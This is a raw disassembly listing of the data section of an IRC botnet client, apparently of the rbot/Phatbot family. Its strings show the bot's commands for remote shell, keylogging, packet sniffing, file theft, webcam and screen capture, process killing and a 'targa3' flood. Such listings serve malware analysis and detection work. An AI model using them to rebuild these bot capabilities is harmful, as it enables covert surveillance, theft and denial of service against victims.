aAll		db 'all',0              ; DATA XREF: sub_401CC7+7BD3o
unk_4418EC	db  2Dh	; -		; DATA XREF: sub_401CC7+7BEDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
; char asc_441914[]
asc_441914	db '-'                  ; DATA XREF: sub_401CC7:loc_4098BEo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_44193C	db  2Dh	; -		; DATA XREF: sub_401CC7+7C78o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 10h
; char asc_441960[]
asc_441960	db '-'                  ; DATA XREF: sub_401CC7:loc_409946o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
; char aC_quit[]
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401CC7+3DE1o
		align 4
; char aC_q[]
aC_q		db 'c_q',0              ; DATA XREF: sub_401CC7+3DF6o
; char aQuitLater_0[]
aQuitLater_0	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7B46o
		align 4
; char aC_rndnick[]
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401CC7+3E0Bo
		align 4
; char aC_rn[]
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401CC7+3E20o
		align 4
; char aNickS_6[]
aNickS_6	db 'NICK %s',0          ; DATA XREF: sub_401CC7+7B03o
aS_19		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+7B18o
		align 4
; char aPrefix[]
aPrefix		db 'prefix',0           ; DATA XREF: sub_401CC7+3E35o
		align 4
; char aPr[]
aPr		db 'pr',0               ; DATA XREF: sub_401CC7+3E4Ao
		align 4
unk_4419D8	db  2Dh	; -		; DATA XREF: sub_401CC7+7ABAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
; char aOpen[]
aOpen		db 'open',0             ; DATA XREF: sub_401CC7+3E5Fo
		align 4
; char aO[]
aO:					; DATA XREF: sub_401CC7+3E74o
		unicode	0, <o>,0
aOpen_1		db 'open',0             ; DATA XREF: sub_401CC7+7A84o
		align 4
unk_441A14	db  2Dh	; -		; DATA XREF: sub_401CC7+7A97o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_441A34	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_409768o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
; char aServer_5[]
aServer_5	db 'server',0           ; DATA XREF: sub_401CC7+3E89o
		align 10h
; char aSe[]
aSe		db 'se',0               ; DATA XREF: sub_401CC7+3E9Eo
		align 4
unk_441A64	db  2Dh	; -		; DATA XREF: sub_401CC7+7A73o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
; char aDns[]
aDns		db 'dns',0              ; DATA XREF: sub_401CC7+3EB3o
; char aDn[]
aDn		db 'dn',0               ; DATA XREF: sub_401CC7+3EC8o
		align 4
; char asc_441A94[]
asc_441A94	db '-'                  ; DATA XREF: sub_401CC7+7A1Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_441AB4	db  2Dh	; -		; DATA XREF: sub_401CC7+7A4Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS__0	db '- Lookup: %s -> %s.',0
		align 4
unk_441AD4	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_40971Do
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
; char aKillproc[]
aKillproc	db 'killproc',0         ; DATA XREF: sub_401CC7+3EDDo
		align 4
; char aKp[]
aKp		db 'kp',0               ; DATA XREF: sub_401CC7+3EF2o
		align 4
unk_441B0C	db  2Dh	; -		; DATA XREF: sub_401CC7+79DBo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_441B2C	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4096ACo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
; char aKill[]
aKill		db 'kill',0             ; DATA XREF: sub_401CC7+3F07o
		align 4
; char aKi[]
aKi		db 'ki',0               ; DATA XREF: sub_401CC7+3F1Co
		align 4
unk_441B68	db  2Dh	; -		; DATA XREF: sub_401CC7+797Ao
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
; char asc_441B8C[]
asc_441B8C	db '-'                  ; DATA XREF: sub_401CC7:loc_409648o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
; char aDelete[]
aDelete		db 'delete',0           ; DATA XREF: sub_401CC7+3F31o
		align 4
; char aDel[]
aDel		db 'del',0              ; DATA XREF: sub_401CC7+3F46o
; char asc_441BC8[]
asc_441BC8	db '-'                  ; DATA XREF: sub_401CC7+793Ao
		db 3, 34h, 2
		dd 656C6966h, 202D0302h, 656C6544h, 20646574h, 27732527h
		dd 2Eh
dword_441BE4	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401CC7:loc_409616o
; char aGet_3[]
aGet_3		db 'get',0              ; DATA XREF: sub_401CC7+3F5Bo
; char aGt[]
aGt		db 'gt',0               ; DATA XREF: sub_401CC7+3F70o
		align 4
; char aS_33[]
aS_33		db '%s',0               ; DATA XREF: sub_401CC7+7853o
		align 4
; char asc_441BFC[]
asc_441BFC	db '-'                  ; DATA XREF: sub_401CC7+78ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
unk_441C20	db  2Dh	; -		; DATA XREF: sub_401CC7+791Ao
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_11	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
; char aList[]
aList		db 'list',0             ; DATA XREF: sub_401CC7+3F85o
		align 4
; char aLi[]
aLi		db 'li',0               ; DATA XREF: sub_401CC7+3F9Ao
		align 4
dword_441C68	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401CC7+782Eo
		dd 0
; char aVisit[]
aVisit		db 'visit',0            ; DATA XREF: sub_401CC7+3FAFo
		align 4
; char aV[]
aV:					; DATA XREF: sub_401CC7+3FC4o
		unicode	0, <v>,0
; char asc_441C8C[]
asc_441C8C	db '-'                  ; DATA XREF: sub_401CC7+778Eo
		db 3, 34h, 2
		dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh
; char asc_441CA4[]
asc_441CA4	db '-'                  ; DATA XREF: sub_401CC7+77FDo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToSta_12	db ' Failed to start connection thread, error: <%d>.',0
		align 4
; char aMirccmd[]
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401CC7+3FD9o
; char aMirc[]
aMirc		db 'mirc',0             ; DATA XREF: sub_401CC7+3FEEo
		align 4
unk_441CF4	db  2Dh	; -		; DATA XREF: sub_401CC7+7714o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_441D14	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401CC7:loc_4093E2o
		dd 746E6573h, 2Eh
; char aCmd[]
aCmd		db 'cmd',0              ; DATA XREF: sub_401CC7+4003o
; char aCm[]
aCm		db 'cm',0               ; DATA XREF: sub_401CC7+4018o
		align 4
; char asc_441D38[]
asc_441D38	db 0Ah,0		; DATA XREF: sub_401CC7+76A1o
		align 4
; char asc_441D3C[]
asc_441D3C	db '-'                  ; DATA XREF: sub_401CC7+76B9o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
; char asc_441D68[]
asc_441D68	db '-'                  ; DATA XREF: sub_401CC7+76D8o
		db 3, 34h, 2
		dd 2646D63h, 43202D03h,	616D6D6Fh, 3A73646Eh, 732520h
; char aReadfile[]
aReadfile	db 'readfile',0         ; DATA XREF: sub_401CC7+402Do
		align 4
; char aRf[]
aRf		db 'rf',0               ; DATA XREF: sub_401CC7+4042o
		align 10h
; char aR_0[]
aR_0:					; DATA XREF: sub_401CC7:loc_4092CBo
		unicode	0, <r>,0
unk_441D94	db  2Dh	; -		; DATA XREF: sub_401CC7+766Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_441DB8	db  2Dh	; -		; DATA XREF: sub_401CC7+7677o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
; char aPsniff[]
aPsniff		db 'psniff',0           ; DATA XREF: sub_401CC7+4057o
		align 4
; char aOn[]
aOn		db 'on',0               ; DATA XREF: sub_401CC7+406Eo
		align 4
dword_441DE8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401CC7+408Eo
aAlreadyRunni_1	db '- Already running.',0
		align 4
; char asc_441E08[]
asc_441E08	db '-'                  ; DATA XREF: sub_401CC7+40F5o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_441E38	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401CC7+4164o
aFailedToSta_13	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
; char aOff[]
aOff		db 'off',0              ; DATA XREF: sub_401CC7+4171o
dword_441E78	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401CC7+4194o
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_441EB4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401CC7:loc_405E65o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 10h
; char aSniffer[]
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401CC7+41A9o
; char aOn_0[]
aOn_0		db 'on',0               ; DATA XREF: sub_401CC7+41C0o
		align 4
unk_441EEC	db  2Dh	; -		; DATA XREF: sub_401CC7+41E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_2	db '- Already running.',0
; char asc_441F0C[]
asc_441F0C	db '-'                  ; DATA XREF: sub_401CC7+4247o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_441F3C	db  2Dh	; -		; DATA XREF: sub_401CC7+42B6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
; char aOff_1[]
aOff_1		db 'off',0              ; DATA XREF: sub_401CC7+42C3o
unk_441F7C	db  2Dh	; -		; DATA XREF: sub_401CC7+42E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_441FBC	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_405FB7o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
; char aIdent[]
aIdent		db 'ident',0            ; DATA XREF: sub_401CC7+42FBo
		align 4
; char aOn_1[]
aOn_1		db 'on',0               ; DATA XREF: sub_401CC7+4312o
		align 4
dword_441FF8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC7+432Eo
aAlreadyRunni_3	db '- Already running.',0
		align 4
; char asc_442018[]
asc_442018	db '-'                  ; DATA XREF: sub_401CC7+433Eo
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_442044	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC7+438Bo
aFailedToSta_15	db '- Failed to start server, error: <%d>.',0
		align 4
; char aOff_2[]
aOff_2		db 'off',0              ; DATA XREF: sub_401CC7+4398o
dword_44207C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC7+43BBo
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_4420B4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC7:loc_40608Co
aNoThreadFound_	db '- No thread found.',0
		align 4
; char aKeylog[]
aKeylog		db 'keylog',0           ; DATA XREF: sub_401CC7+43D0o
		align 4
; char aOn_2[]
aOn_2		db 'on',0               ; DATA XREF: sub_401CC7+43E8o
		align 10h
; char aFile[]
aFile		db 'file',0             ; DATA XREF: sub_401CC7+43F9o
		align 4
dword_4420E8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401CC7+444Do
aAlreadyRunni_4	db '- Already running.',0
		align 4
; char aFile_0[]
aFile_0		db 'file',0             ; DATA XREF: sub_401CC7+4464o
		align 10h
; char asc_442110[]
asc_442110	db '-'                  ; DATA XREF: sub_401CC7+44D1o
		db 3, 34h, 2
		dd 6C79656Bh, 302676Fh
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_442134	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401CC7+4540o
aFailedToSta_16	db '- Failed to start logging thread, error: <%d>.',0
		align 10h
; char aOff_3[]
aOff_3		db 'off',0              ; DATA XREF: sub_401CC7+440Ao
dword_442174	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401CC7+442Do
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 10h
dword_4421B0	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401CC7:loc_4060FEo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
; char aNet[]
aNet		db 'net',0              ; DATA XREF: sub_401CC7+454Bo
; char aStart[]
aStart		db 'start',0            ; DATA XREF: sub_401CC7+45A1o
		align 4
aS_3		db '%s',0               ; DATA XREF: sub_401CC7+45C2o
		align 4
unk_4421EC	db  2Dh	; -		; DATA XREF: sub_401CC7+45E4o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
unk_442210	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4062B5o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
; char aStop[]
aStop		db 'stop',0             ; DATA XREF: sub_401CC7+45FBo
		align 4
aS_4		db '%s',0               ; DATA XREF: sub_401CC7+4618o
		align 4
; char aPause[]
aPause		db 'pause',0            ; DATA XREF: sub_401CC7+4625o
		align 4
aS_5		db '%s',0               ; DATA XREF: sub_401CC7+4642o
		align 4
; char aContinue[]
aContinue	db 'continue',0         ; DATA XREF: sub_401CC7+464Fo
		align 4
aS_6		db '%s',0               ; DATA XREF: sub_401CC7+466Co
		align 4
; char aDelete_0[]
aDelete_0	db 'delete',0           ; DATA XREF: sub_401CC7+4679o
		align 10h
aS_7		db '%s',0               ; DATA XREF: sub_401CC7+4696o
		align 4
; char aShare[]
aShare		db 'share',0            ; DATA XREF: sub_401CC7+46A3o
		align 4
aS_8		db '%s',0               ; DATA XREF: sub_401CC7+46CCo
		align 10h
aS_9		db '%s',0               ; DATA XREF: sub_401CC7+46E8o
		align 4
unk_442274	db  2Dh	; -		; DATA XREF: sub_401CC7+470Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
unk_442298	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4063DCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
; char aUser_0[]
aUser_0		db 'user',0             ; DATA XREF: sub_401CC7+4722o
		align 10h
aS_10		db '%s',0               ; DATA XREF: sub_401CC7+475Bo
		align 4
aS_11		db '%s',0               ; DATA XREF: sub_401CC7+4788o
		align 4
aS_12		db '%s',0               ; DATA XREF: sub_401CC7+479Fo
		align 4
unk_4422CC	db  2Dh	; -		; DATA XREF: sub_401CC7+47C2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_4422EC	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_406493o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
; char aSend_0[]
aSend_0		db 'send',0             ; DATA XREF: sub_401CC7+47D9o
		align 4
aS_13		db '%s',0               ; DATA XREF: sub_401CC7+4805o
		align 4
unk_442318	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4064D6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
unk_44233C	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4064E0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_442358	db  2Dh	; -		; DATA XREF: sub_401CC7+456Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
; char aCapture[]
aCapture	db 'capture',0          ; DATA XREF: sub_401CC7+4824o
; char aCap[]
aCap		db 'cap',0              ; DATA XREF: sub_401CC7+4839o
; char aScreen[]
aScreen		db 'screen',0           ; DATA XREF: sub_401CC7:loc_4090A0o
		align 4
; char asc_4423A4[]
asc_4423A4	db '-'                  ; DATA XREF: sub_401CC7+740Ao
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
unk_4423D0	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4090E1o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing screen.',0
		align 10h
; char asc_442400[]
asc_442400	db '-'                  ; DATA XREF: sub_401CC7:loc_4090E8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
; char aDrivers[]
aDrivers	db 'drivers',0          ; DATA XREF: sub_401CC7:loc_4090FBo
; char asc_442444[]
asc_442444	db '-'                  ; DATA XREF: sub_401CC7+7481o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
; char asc_44246C[]
asc_44246C	db '-'                  ; DATA XREF: sub_401CC7+74B4o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
; char aFrame[]
aFrame		db 'frame',0            ; DATA XREF: sub_401CC7:loc_409188o
		align 4
; char asc_44249C[]
asc_44249C	db '-'                  ; DATA XREF: sub_401CC7+7538o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
unk_4424C8	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_40920Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
; char asc_4424FC[]
asc_4424FC	db '-'                  ; DATA XREF: sub_401CC7:loc_409216o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for webcam capture.',0
		align 4
; char aVideo[]
aVideo		db 'video',0            ; DATA XREF: sub_401CC7:loc_409229o
		align 4
unk_44253C	db  2Dh	; -		; DATA XREF: sub_401CC7+75E6o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
unk_442568	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4092B7o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing amateur video from webcam.',0
unk_4425A8	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4092C1o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for amateur video capture.',0
		align 4
; char aGethost[]
aGethost	db 'gethost',0          ; DATA XREF: sub_401CC7+484Eo
; char aGh[]
aGh		db 'gh',0               ; DATA XREF: sub_401CC7+4863o
		align 4
; char aSSSS_1[]
aSSSS_1		db '%s %s %s :%s',0     ; DATA XREF: sub_401CC7+7333o
		align 4
; char asc_442604[]
asc_442604	db '-'                  ; DATA XREF: sub_401CC7+735Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
; char asc_44262C[]
asc_44262C	db '-'                  ; DATA XREF: sub_401CC7+737Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
; char asc_44265C[]
asc_44265C	db '-'                  ; DATA XREF: sub_401CC7+73C1o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh, 2E732520h
		dd 0
; char aKilllog[]
aKilllog	db 'killlog',0          ; DATA XREF: sub_401CC7+488Co
; char aKl[]
aKl		db 'kl',0               ; DATA XREF: sub_401CC7+48A3o
		align 4
; char aAddalias[]
aAddalias	db 'addalias',0         ; DATA XREF: sub_401CC7+48BAo
		align 10h
; char aAa[]
aAa		db 'aa',0               ; DATA XREF: sub_401CC7+48D1o
		align 4
; char asc_442694[]
asc_442694	db '-'                  ; DATA XREF: sub_401CC7+72B2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
; char aPrivmsg_1[]
aPrivmsg_1	db 'privmsg',0          ; DATA XREF: sub_401CC7+48E8o
; char aPm[]
aPm		db 'pm',0               ; DATA XREF: sub_401CC7+48FFo
		align 10h
unk_4426C0	db  2Dh	; -		; DATA XREF: sub_401CC7+727Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 10h
; char aAction[]
aAction		db 'action',0           ; DATA XREF: sub_401CC7+4916o
		align 4
; char aA[]
aA:					; DATA XREF: sub_401CC7+492Do
		unicode	0, <a>,0
; char dword_4426EC
dword_4426EC	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401CC7+7203o
unk_4426F8	db  2Dh	; -		; DATA XREF: sub_401CC7+7229o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
; char aCycle[]
aCycle		db 'cycle',0            ; DATA XREF: sub_401CC7+4944o
		align 4
; char aCy[]
aCy		db 'cy',0               ; DATA XREF: sub_401CC7+495Bo
		align 10h
; char a332_2[]
a332_2		db '332',0              ; DATA XREF: sub_401CC7+7168o
; char aPartS_1[]
aPartS_1	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+717Do
		align 10h
; char aJoinSS_2[]
aJoinSS_2	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+71AAo
		align 10h
dword_442740	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401CC7+71B7o
; char aMode_0[]
aMode_0		db 'mode',0             ; DATA XREF: sub_401CC7+4972o
		align 4
; char aM[]
aM:					; DATA XREF: sub_401CC7+4989o
		unicode	0, <m>,0
; char aModeS_0[]
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+7147o
		align 4
unk_44276C	db  2Dh	; -		; DATA XREF: sub_401CC7+7158o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
; char aC_raw[]
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401CC7+49A0o
		align 10h
; char aC_r[]
aC_r		db 'c_r',0              ; DATA XREF: sub_401CC7+49B7o
; char aS_18[]
aS_18		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+70FAo
		align 4
dword_44279C	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401CC7+711Co
		dd 25203A29h, 73h
; char aC_mode[]
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401CC7+49CEo
		align 10h
; char aC_m[]
aC_m		db 'c_m',0              ; DATA XREF: sub_401CC7+49E5o
; char aModeS[]
aModeS		db 'MODE %s',0          ; DATA XREF: sub_401CC7+7052o
; char aS_17[]
aS_17		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+708Bo
		align 4
dword_4427D4	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401CC7+70ADo
		dd 203A2973h, 7325h
; char aC_nick[]
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401CC7+49FCo
		align 4
; char aC_n[]
aC_n		db 'c_n',0              ; DATA XREF: sub_401CC7+4A13o
; char aNickS_5[]
aNickS_5	db 'NICK %s',0          ; DATA XREF: sub_401CC7+6FC8o
; char aS_16[]
aS_16		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+7000o
		align 4
; char dword_44280C[]
dword_44280C	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401CC7+7022o
		dd 203A2973h, 7325h
; char aC_join[]
aC_join		db 'c_join',0           ; DATA XREF: sub_401CC7+4A2Ao
		align 10h
; char aC_j[]
aC_j		db 'c_j',0              ; DATA XREF: sub_401CC7+4A41o
; char aJoinSS_1[]
aJoinSS_1	db 'JOIN %s %s',0       ; DATA XREF: sub_401CC7+6F81o
		align 10h
aS_15		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+6FBAo
		align 4
; char aC_part[]
aC_part		db 'c_part',0           ; DATA XREF: sub_401CC7+4A58o
		align 10h
; char aC_p[]
aC_p		db 'c_p',0              ; DATA XREF: sub_401CC7+4A6Fo
; char aPartS_0[]
aPartS_0	db 'PART %s',0          ; DATA XREF: sub_401CC7+6F16o
; char aS_14[]
aS_14		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+6F4Fo
		align 4
; char aTarga3[]
aTarga3		db 'targa3',0           ; DATA XREF: sub_401CC7+4A86o
		align 4
; char aT3[]
aT3		db 't3',0               ; DATA XREF: sub_401CC7+4A9Do
		align 10h
; char asc_442870[]
asc_442870	db '-'                  ; DATA XREF: sub_401CC7+6E96o
		db 3, 34h, 2
		dd 67726174h, 3023361h
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
